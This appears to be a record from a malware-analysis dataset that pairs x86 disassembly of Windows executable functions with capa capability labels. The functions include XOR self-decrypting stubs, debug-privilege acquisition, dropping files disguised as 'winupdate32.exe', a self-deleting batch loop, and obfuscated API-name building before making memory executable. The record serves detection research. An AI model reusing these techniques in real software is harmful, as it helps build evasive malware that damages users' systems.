joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433004
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401500
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x230
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x22c], eax
push ebx
push ebp
mov ebp, dword [esp + 0x23c]
push 0
push 0xf
mov dword [esp + 0x10], 0x22c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40154e
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x22c]
xor ecx, esp
call fcn.0040217e
add esp, 0x230
ret
lea eax, [esp + 8]
push eax
push ebx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x4015bb
push edi
mov edi, dword [sym.imp.MSVCR90.dll__wcsicmp]
push esi
jmp 0x401570
mov esi, dword [esp + 0x18]
lea ecx, [esp + 0x34]
push 0x4032b0
push ecx
call edi
add esp, 8
test eax, eax
je 0x401598
lea edx, [esp + 0x10]
push edx
push ebx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x401570
jmp 0x4015b9
call fcn.00401000
test eax, eax
je 0x4015af
call fcn.004010d0
push ebp
push esi
call fcn.00401430
jmp 0x4015b6
push ebp
push esi
call fcn.00401340
add esp, 8
pop esi
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x234]
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040217e
add esp, 0x230
ret

Function at 0x4015e0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x24
lea eax, [esp + 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x401601
xor eax, eax
add esp, 0x24
ret
lea ecx, [esp + 8]
push ecx
push 0x403268
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x4015fb
mov edx, dword [esp + 8]
mov eax, dword [esp + 0xc]
push 0
push 0
push 0x10
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x14]
push 0
push edx
mov dword [esp + 0x28], 1
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x4015fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0x514
setne cl
mov eax, ecx
add esp, 0x24
ret

Function at 0x401670
Capabilities:
Get common file path

Disassembly:
sub esp, 0x214
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call sub.MSVCR90.dll_memset
add esp, 0xc
call fcn.004015e0
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edi, [esp + 8]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4016c4
mov eax, dword [0x40328c]
mov dword [edi], eax
lea edi, [esp + 8]
add edi, 0xfffffffe
mov edi, edi
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4016e0
mov ecx, 7
mov esi, 0x403290
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 8]
push ecx
movsw word es:[edi], word [esi]
call fcn.00401500
mov ecx, dword [esp + 0x218]
add esp, 4
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.0040217e
add esp, 0x214
ret
Function at 0x401bf0
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x20c], eax
push str.Unner_mxz64.bat
push 0x405488
lea eax, [esp + 0x110]
push 0x4034c0
push eax
mov dword [esp + 0x10], 0
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x10
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x405488]
mov byte [esp + eax + 4], cl
inc eax
test cl, cl
jne 0x401c30
push ebp
push edi
lea edi, [esp + 0xc]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401c46
mov cx, word [0x4034c8]
lea eax, [esp + 0xc]
mov word [edi], cx
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401c60
mov edx, dword [str.winupdate32.exe]
mov ecx, dword [0x4034d0]
push 0
push 0x80
push 2
mov dword [eax], edx
mov edx, dword [0x4034d4]
push 0
mov dword [eax + 4], ecx
mov ecx, dword [0x4034d8]
push 0
mov dword [eax + 8], edx
push 0x40000000
lea edx, [esp + 0x128]
push edx
mov dword [eax + 0xc], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x401dab
mov eax, str.:Repeat1_r_ndel___s__r_nif_exist___s__goto_Repeat1_r_n:Repeat2_r_ndel___s__r_nif_exist___s__goto_Repeat2_r_ndel___s_
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401cc0
sub eax, edx
push ebx
mov ebx, eax
mov eax, 0x405590
push esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401cd5
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x14]
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401ce7
sub eax, esi
mov esi, eax
lea eax, [esp + 0x118]
lea edi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401d00
sub eax, edi
lea eax, [eax + ecx*2]
add eax, ecx
add eax, esi
lea edi, [eax + ebx + 0x64]
push edi
call dword [sym.imp.MSVCR90.dll_malloc]
add esp, 4
push 1
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0
push esi
call sub.MSVCR90.dll_memset
lea ecx, [esp + 0x124]
push ecx
lea edx, [esp + 0x24]
push edx
mov eax, edx
push eax
push 0x405590
push 0x405590
push str.:Repeat1_r_ndel___s__r_nif_exist___s__goto_Repeat1_r_n:Repeat2_r_ndel___s__r_nif_exist___s__goto_Repeat2_r_ndel___s_
push esi
call dword [sym.imp.MSVCR90.dll_sprintf]
mov eax, esi
add esp, 0x28
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401d60
push 0
sub eax, ecx
lea ecx, [esp + 0x14]
push ecx
push eax
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x124]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x401da9
push esi
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
pop esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop ebp
xor ecx, esp
call fcn.0040217e
add esp, 0x210
ret
Function at 0x401ef0
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x63c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x638], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [esp + 0x15]
push ebx
push eax
mov byte [esp + 0x1c], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x103
lea ecx, [esp + 0x32d]
push ebx
push ecx
mov byte [esp + 0x334], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x103
lea edx, [esp + 0x225]
push ebx
push edx
mov byte [esp + 0x22c], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x103
lea eax, [esp + 0x11d]
push ebx
push eax
mov byte [esp + 0x124], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x104
push ebx
push 0x405698
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x104
push 0x405698
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.MSVCR90.dll_sprintf]
push 0x4034f4
push 0x405698
lea ecx, [esp + 0x330]
push 0x4034c0
push ecx
call esi
push 0x65
lea ecx, [esp + 0x33c]
call fcn.00401dd0
add esp, 0x14
lea edi, [esp + 0x328]
call fcn.00401b30
push str.msactive32.dll
push 0x405698
lea edx, [esp + 0x228]
push 0x4034c0
push edx
call esi
push 0x77
lea ecx, [esp + 0x234]
call fcn.00401dd0
add esp, 0x14
lea edi, [esp + 0x220]
call fcn.00401b30
push 0x403514
push 0x405698
lea eax, [esp + 0x18]
push 0x4034c0
push eax
call esi
push 0x69
lea ecx, [esp + 0x24]
call fcn.00401dd0
add esp, 0x14
lea edi, [esp + 0x10]
call fcn.00401b30
call fcn.00401670
push 0x104
push 0x405590
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
jmp 0x402060
mov cl, byte [eax + 0x405590]
mov byte [eax + 0x405488], cl
inc eax
cmp cl, bl
jne 0x402060
push 0x5c
push 0x405488
call dword [sym.imp.MSVCR90.dll_strrchr]
add esp, 8
cmp eax, ebx
je 0x402087
mov byte [eax], bl
push str.winupdate32.exe
push 0x405488
lea ecx, [esp + 0x120]
push 0x4034c0
push ecx
call esi
push 0x79
lea ecx, [esp + 0x12c]
call fcn.00401dd0
add esp, 0x14
push ebx
push ebx
push ebx
lea edx, [esp + 0x124]
push edx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.00401bf0
call fcn.00401970
push 0x103
lea eax, [esp + 0x53d]
push ebx
push eax
mov byte [esp + 0x544], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x103
lea ecx, [esp + 0x435]
push ebx
push ecx
mov byte [esp + 0x43c], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
lea edx, [esp + 0x430]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.asdx64.exe
lea eax, [esp + 0x434]
push eax
lea ecx, [esp + 0x540]
push 0x403530
push ecx
call esi
mov esi, dword [sym.imp.MSVCR90.dll_remove]
lea edx, [esp + 0x548]
push edx
call esi
add esp, 0x14
push str.c:windows_temp_rerx.exe
call esi
mov ecx, dword [esp + 0x648]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040217e
mov esp, ebp
pop ebp
ret

Function at 0x40217e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x402188
repz ret
jmp fcn.00402439
Function at 0x40115a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x465008]
jne 0x401164
repz ret
jmp fcn.00401f7a

Function at 0x413649
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409429
and dword [ebp - 4], 0
cmp dword [0x467d7c], 0
mov ebx, eax
jne 0x4136fa
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4137ab
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4137ab
push eax
call fcn.004093b7
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x467d7c], eax
call esi
push eax
call fcn.004093b7
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x467d80], eax
call esi
push eax
call fcn.004093b7
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x467d84], eax
call esi
push eax
call fcn.004093b7
pop ecx
mov dword [0x467d8c], eax
test eax, eax
je 0x4136fa
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004093b7
pop ecx
mov dword [0x467d88], eax
mov eax, dword [0x467d88]
cmp eax, ebx
je 0x413752
cmp dword [0x467d8c], ebx
je 0x413752
push eax
call fcn.00409432
push dword [0x467d8c]
mov esi, eax
call fcn.00409432
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413752
test edi, edi
je 0x413752
call esi
test eax, eax
je 0x413749
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413749
test byte [ebp - 0xc], 1
jne 0x413752
or dword [ebp + 0x10], 0x200000
jmp 0x41378b
mov eax, dword [0x467d80]
cmp eax, ebx
je 0x41378b
push eax
call fcn.00409432
pop ecx
test eax, eax
je 0x41378b
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41378b
mov eax, dword [0x467d84]
cmp eax, ebx
je 0x41378b
push eax
call fcn.00409432
pop ecx
test eax, eax
je 0x41378b
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x467d7c]
call fcn.00409432
pop ecx
test eax, eax
je 0x4137ab
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4137ad
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x458250
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 8
mov dword [esp], 0x20
add dword [esp], 0x20
mov al, 0x65
mov byte [0x467e69], al
mov byte [0x467e6c], al
mov al, 0x6c
push 0x467e68
mov byte [0x467e68], 0x6b
mov byte [0x467e6a], 0x72
mov byte [0x467e6b], 0x6e
mov byte [0x467e6d], al
mov byte [0x467e6e], 0x33
mov byte [0x467e6f], 0x32
mov byte [0x467e70], 0x2e
mov byte [0x467e71], 0x64
mov byte [0x467e72], al
mov byte [0x467e73], al
mov byte [0x467e74], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x469650]
mov edx, dword [0x468368]
lea eax, [esp + 4]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 8
ret
Function at 0x4583e0
Capabilities:
Get file attributes

Disassembly:
cmp dword [0x469650], 0x930
jne 0x458406
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push str.Bezematevaneri_fedilovewe
push 0
call esi
push str.Gosituya
push 0
call esi
pop esi
cmp dword [0x469650], 0x114e
mov eax, dword [esp + 4]
mov dword [0x46835c], eax
jne 0x458426
push str.dimamehay
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
ret
Function at 0x414b50
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4772fc
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x48f074]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], edi
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
mov dword [edi], eax
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
lea esi, [edi + 0x38]
mov dword [edi + 0x30], 0
mov byte [edi + 0x34], 0
mov dword [ebp - 0x14], esi
mov dword [esi + 0x24], 0
mov byte [ebp - 4], 4
mov ecx, dword [ebp + 0x34]
test ecx, ecx
je 0x414c04
mov eax, dword [ecx]
push esi
call dword [eax]
mov dword [esi + 0x24], eax
mov al, byte [ebp + 0xc]
lea ecx, [edi + 0x70]
mov byte [ebp - 4], 5
mov byte [edi + 0x60], al
push 9
mov byte [edi + 0x68], 9
call fcn.00412350
cmp byte [edi + 0x68], 1
mov ebx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
jne 0x414c42
cmp dword [edi + 0x70], 0
jne 0x414c42
push 0x2ac
push str.D:SourceReposDiscord_Nitro_GeneratorDiscord_Nitro_GeneratorDependencies_nlohmann_nlohmannjson.hpp
push str.m_data.m_type___value_t::object__m_data.m_value.object___nullptr
call ebx
add esp, 0xc
cmp byte [edi + 0x68], 2
jne 0x414c62
cmp dword [edi + 0x70], 0
jne 0x414c62
push 0x2ad
push str.D:SourceReposDiscord_Nitro_GeneratorDiscord_Nitro_GeneratorDependencies_nlohmann_nlohmannjson.hpp
push str.m_data.m_type___value_t::array__m_data.m_value.array___nullptr
call ebx
add esp, 0xc
cmp byte [edi + 0x68], 3
jne 0x414c82
cmp dword [edi + 0x70], 0
jne 0x414c82
push 0x2ae
push str.D:SourceReposDiscord_Nitro_GeneratorDiscord_Nitro_GeneratorDependencies_nlohmann_nlohmannjson.hpp
push str.m_data.m_type___value_t::string__m_data.m_value.string___nullptr
call ebx
add esp, 0xc
cmp byte [edi + 0x68], 8
jne 0x414ca2
cmp dword [edi + 0x70], 0
jne 0x414ca2
push 0x2af
push str.D:SourceReposDiscord_Nitro_GeneratorDiscord_Nitro_GeneratorDependencies_nlohmann_nlohmannjson.hpp
push str.m_data.m_type___value_t::binary__m_data.m_value.binary___nullptr
call ebx
add esp, 0xc
mov byte [ebp - 4], 6
xor ebx, ebx
mov ecx, dword [edi + 0x1c]
mov edx, dword [edi + 0x10]
mov byte [ebp - 0xd], 1
mov dword [ebp - 0x18], edx
test ecx, ecx
jns 0x414cd5
mov eax, ecx
neg eax
cmp ebx, eax
jae 0x414cd5
add ecx, ebx
mov eax, ecx
not eax
shr eax, 5
lea eax, [eax*4 + 4]
sub edx, eax
jmp 0x414cdf
add ecx, ebx
mov eax, ecx
shr eax, 5
lea edx, [edx + eax*4]
and ecx, 0x1f
lea eax, [ebp - 0xd]
push ecx
push edx
push eax
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [edi + 0x10]
call fcn.00416f80
mov ecx, dword [ebp + 0x34]
test ecx, ecx
je 0x414d0e
mov esi, dword [ecx]
lea eax, [ebp + 0x10]
cmp ecx, eax
setne dl
movzx edx, dl
push edx
call dword [esi + 0x10]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x30
Function at 0x42a5b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x42a5dc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x42a604
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x42a60a
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x42a672
jg 0x42a621
test esi, esi
je 0x42a672
test ecx, ecx
jl 0x42a66d
jg 0x42a62b
test eax, eax
je 0x42a66d
cmp edi, ecx
jg 0x42a63f
jl 0x42a635
cmp esi, eax
jae 0x42a63f
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x24]
add esp, 0xc
mov edx, dword [esp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x42a675
mov ecx, dword [ebp + 8]
jmp 0x42a67f
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x42a699
jg 0x42a67f
test esi, esi
je 0x42a699
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x42a699
push eax
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x42a6b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], esi
test eax, eax
jg 0x42a6dc
jl 0x42a6d0
test ecx, ecx
jne 0x42a6dc
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x42a6f5
push eax
push ecx
push esi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, ecx
mov eax, dword [eax]
mov dword [ebp - 8], eax
test eax, eax
je 0x42a73d
mov eax, dword [ebx + 0x2c]
lea edx, [ebx + 0x2c]
mov dword [ebp - 0xc], edx
mov eax, dword [eax]
test eax, eax
je 0x42a743
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push dword [ebp - 8]
push dword [ebp - 4]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 4], esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp - 4]
jmp 0x42a743
lea eax, [ebx + 0x2c]
mov dword [ebp - 0xc], eax
cmp dword [ebx + 0x4c], 0
je 0x42a7b6
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x42a76c
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp edi, 0xfff
jbe 0x42a7a4
nop dword [eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x42a7b6
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x42a780
test edi, edi
je 0x42a7b6
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x42ab30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x48f074]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x42ab60
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047497b
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x42ab9c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x42ab9c
lea ecx, [edi - 1]
mov eax, ebx
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
pop edi
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047497b
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x42ac73
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x42abc4
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x42abd0
movsx eax, bl
jmp 0x42ac08
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x42ac32
sub eax, 1
je 0x42ac32
sub eax, 2
jne 0x42ac73
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmove ebx, ecx
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047497b
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x42ac50
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x42ac73
lea ecx, [ebp - 0x25]
mov byte [esi + 0x3d], 1
or eax, 0xffffffff
cmp dword [ebp - 0x30], ecx
pop edi
pop esi
cmovne eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047497b
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0047497b
mov esp, ebp
pop ebp
ret 4

Function at 0x42b170
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x42b1a1
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x42b190
pop edi
mov eax, edx
pop esi
pop ebp
ret 8